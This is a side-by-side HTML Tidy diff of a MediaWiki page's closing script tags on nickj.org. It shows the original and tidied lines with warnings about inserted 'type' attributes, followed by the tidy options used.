161 <script>/*<![CDATA[*/window.jQuery && jQuery.ready();/*]]>*/</script><script>if(window.mw){ 242 <script type="text/javascript">
243 /*<![CDATA[*/window.jQuery && jQuery.ready();/*]]>*/
244 </script><script type="text/javascript">
245 if(window.mw){
162 mw.loader.state({"site":"loading","user":"ready","user.groups":"ready"}); 246 mw.loader.state({"site":"loading","user":"ready","user.groups":"ready"});
warn 163 Warning: <script> inserting "type" attribute
}</script> 247 }
164 <script>if(window.mw){ 248 </script><script type="text/javascript">
249 if(window.mw){
165 mw.loader.load(["mediawiki.action.view.postEdit","mediawiki.user","mediawiki.hidpi","mediawiki.page.ready","mediawiki.searchSuggest","skins.vector.collapsibleNav"],null,true); 250 mw.loader.load(["mediawiki.action.view.postEdit","mediawiki.user","mediawiki.hidpi","mediawiki.page.ready","mediawiki.searchSuggest","skins.vector.collapsibleNav"],null,true);
warn 166 Warning: <script> inserting "type" attribute
}</script> 251 }
167 <script src="http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=site&amp;only=scripts&amp;skin=vector&amp;*"></script> 252 </script><script src=
168 <!-- Served in 0.169 secs. --> 253 "http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=site&amp;only=scripts&amp;skin=vector&amp;*"
254 type="text/javascript">
255 </script><!-- Served in 0.169 secs. -->
169 </body> 256 </body>
170 </html> 257 </html>


Tidy command line: --indent-spaces "2"